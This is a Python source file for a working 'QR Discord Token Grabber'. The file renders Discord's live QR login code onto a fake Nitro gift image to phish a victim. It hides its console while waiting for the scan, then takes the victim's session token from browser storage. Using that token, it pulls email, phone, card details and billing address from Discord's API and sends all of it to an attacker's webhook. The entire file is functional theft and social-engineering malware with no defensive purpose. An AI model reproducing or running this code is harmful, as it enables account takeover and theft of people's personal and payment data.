import base64, os, re, time, sys from requests import get from bs4 import BeautifulSoup from colorama import Fore, init from PIL import Image from selenium import webdriver from selenium.webdriver.chrome.service import Service from discord_webhook import DiscordEmbed, DiscordWebhook from utilities import pystray_img from pystray import Menu, MenuItem, Icon from io import BytesIO import ctypes from threading import Thread def generate_qr() -> None: #Generate a QR code to paste onto a discord nitro template. qr_img = Image.open(os.path.normpath(r"resources/qr_code.png"), "r") ovly_img = Image.open(os.path.normpath(r"resources/overlay.png"), "r") qr_img.paste(ovly_img, (60, 55)) qr_img.save(os.path.normpath(r"resources/final_qr.png"), quality=95) def generate_nitro_template() -> None: #Generate the nitro template using the QR code generated by generate_qr. nitro_template = Image.open(os.path.normpath(r"resources/template.png"), "r") qr_img = Image.open(os.path.normpath(r"resources/final_qr.png"), "r") nitro_template.paste(qr_img, (120, 409)) nitro_template.save("discord_gift.png", quality=95) def get_user_data(tk): try: headers = {'Authorization': tk} response = get('https://discordapp.com/api/v6/users/@me', headers=headers).json() return [response['username'], response['discriminator'], response['email'], response['phone']] except: return None def get_discord_info(tk, link_int): #Get payment and sub information. headers = {'Authorization': tk} if link_int == 1: response = get('https://discordapp.com/api/v6/users/@me/billing/payment-sources', headers=headers).json() elif link_int == 2: response = get('https://discordapp.com/api/v9/users/@me/billing/subscriptions', headers=headers).json() return response def main(webhook_url) -> None: """Use selenium webdriver to go to the discord login page. Then, grab the source of the page and use regex to identify the class name of the div that contains the QR login image, regardless of whether the class name changes (this avoids the program breaking in the future). Finally, wait for a user to log in and then send token to webhook. """ print(f""" {Fore.LIGHTMAGENTA_EX}Generating QR — do not close until finished!""") webdriver.ChromeOptions.binary_location = r"browser/chrome.exe" opts = webdriver.ChromeOptions() opts.add_experimental_option("detach", True) opts.add_experimental_option('excludeSwitches', ['enable-logging']) opts.headless = True opts.add_argument('--log-level 3') driver = webdriver.Chrome(service=Service(os.path.normpath(r"browser/chromedriver.exe")), options=opts) driver.get("https://discord.com/login") time.sleep(5) # Make sure QR has fully loaded before taking source! source = BeautifulSoup(driver.page_source, features="lxml") if not (div := re.search(r"qrCode-......", str(source))): print(f"{Fore.LIGHTRED_EX}Error: \ the regular expression 'qrCode-......' is not found.") sys.exit() div = div.group(0) div = source.find("div", {"class": f"{div}"}) qr_code = div.find("img")["src"] source = BeautifulSoup(driver.page_source, features="lxml") div = source.find("div", {"class": "qrCode"}) file = os.path.join(os.getcwd(), r"resources/qr_code.png") img_data = base64.b64decode(qr_code.replace('data:image/png;base64,', '')) with open(file, "wb") as handler: handler.write(img_data) discord_login = driver.current_url generate_qr() generate_nitro_template() print(f""" {Fore.LIGHTGREEN_EX}Generated QR as discord_gift.png! {Fore.BLUE}Waiting for target user to scan the QR code. . . """) pystray_icon.icon.notify("Script currently being hided until target grabbed.", 'Waiting for target') time.sleep(3) ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0) while True: if discord_login != driver.current_url: token = driver.execute_script(''' window.dispatchEvent(new Event('beforeunload')); let iframe = document.createElement('iframe'); iframe.style.display = 'none'; document.body.appendChild(iframe); let localStorage = iframe.contentWindow.localStorage; var token = JSON.parse(localStorage.token); return token; ''') break pystray_icon.icon.notify("The traget scanned the QR-code sucessfuly.", 'New Victim !') time.sleep(3) ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 1) print(f""" {Fore.LIGHTGREEN_EX}The following token has been grabbed: {token} {Fore.LIGHTYELLOW_EX}Sending Info to Discord Webhook... {Fore.LIGHTWHITE_EX}""", end="") driver.quit() webhook = DiscordWebhook(url=webhook_url, username='QR-Dtg', avatar_url="https://c.tenor.com/h3fCM442dCcAAAAC/discord-logo.gif") embed = DiscordEmbed(color='FF00FF') if re.search(r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", token) != None: userdata, user_billings, user_subs = get_user_data(token), get_discord_info(token, 1), get_discord_info(token, 2) if userdata != None: embed.add_embed_field(name='User Token Info', value=f":crown:`Username:` **{userdata[0]}#{userdata[1]}**\n:e_mail:`Mail:` **{userdata[2]}**\n:mobile_phone:`Phone:` **{userdata[3]}**\n:money_with_wings:`Nitro:` **{':white_check_mark:' if bool(user_subs) else ':x:'}**", inline=False) if bool(user_billings): for data in user_billings: if data['type'] == 1: embed.add_embed_field(name='Payment Info (Debit or Credit Card)', value=f""":credit_card:`Brand:` ||**{data['brand']}**||\n:information_source:`Last 4:` ||**{data['last_4']}**||\n:date:`Expiration:` ||**{data['expires_month']}/{data['expires_year']}**|| ***Billing Adress:***\n:name_badge:`Name:` ||**{data['billing_address']['name']}**||\n:paperclip:`Line 1:` ||**{data['billing_address']['line_1']}**||\n:paperclips:`Line 2:` ||**{data['billing_address']['line_2']}**||\n:flag_white:`Country:` ||**{data['billing_address']['country']}**||\n:triangular_flag_on_post:`State:` ||**{data['billing_address']['state']}**||\n:cityscape:`City:` ||**{data['billing_address']['city']}**||\n:postbox:`Postal Code:` ||**{data['billing_address']['postal_code']}**||\n""", inline=False) elif data['type'] == 2: embed.add_embed_field(name='Payment Info (Paypal)', value=f""":incoming_envelope:`Paypal Mail:` ||**{data['email']}**|| ***Billing Adress:***\n:name_badge:`Name:` ||**{data['billing_address']['name']}**||\n:paperclip:`Line 1:` ||**{data['billing_address']['line_1']}**||\n:paperclips:`Line 2:` ||**{data['billing_address']['line_2']}**||\n:flag_white:`Country:` ||**{data['billing_address']['country']}**||\n:triangular_flag_on_post:`State:` ||**{data['billing_address']['state']}**||\n:cityscape:`City:` ||**{data['billing_address']['city']}**||\n:postbox:`Postal Code:` ||**{data['billing_address']['postal_code']}**||\n""", inline=False) else: embed.add_embed_field(name='Payment Info (:x:)', value="**No Payment Info Founded.**\n", inline=False) else: embed.add_embed_field(name='User Token Info :interrobang:', value="**This token doesn't provide any information about the account, maybe it's corrupted.**\n", inline=False) embed.add_embed_field(name='Token', value=f"```yaml\n{token}\n```", inline=False) else: embed.add_embed_field(name='Token', value=f"```yaml\n{token}\n```", inline=False) webhook.add_embed(embed) embed.set_footer(text='Created by NightfallGT, Revised by Luci (9P9), Lemon.-_-.#3714, the-cult-of-integral and mte0', inline=False) webhook.execute() print(f"{Fore.LIGHTGREEN_EX}Information sended to webhook !") if __name__ == "__main__": init() os.system("cls") print(f""" {Fore.GREEN}QR Discord Token Grabber {Fore.BLUE}Created by NightfallGT Revised by Luci (9P9) Revised by Lemon.-_-.#3714 (mouadessalim) Revised by the-cult-of-integral Revised by mte0 {Fore.LIGHTYELLOW_EX}Enter a webhook URL. >>> {Fore.LIGHTWHITE_EX}""", end="") def pystray_icon(): def window_state(icon, item): if str(item) == 'Show': return ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 1) elif str(item) == 'Hide': return ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0) elif str(item) == 'Quit': pystray_icon.icon.stop() os._exit(0) pystray_icon.icon = Icon('QR_DTG', Image.open(BytesIO(base64.b64decode(pystray_img))), menu=Menu( MenuItem('Show', window_state), MenuItem('Hide', window_state), MenuItem('Quit', window_state) )) pystray_icon.icon.run() Thread(target=pystray_icon).start() th_main = Thread(target=main, args=(input(),)) th_main.start() while True: if not th_main.is_alive(): pystray_icon.icon.stop() break time.sleep(1)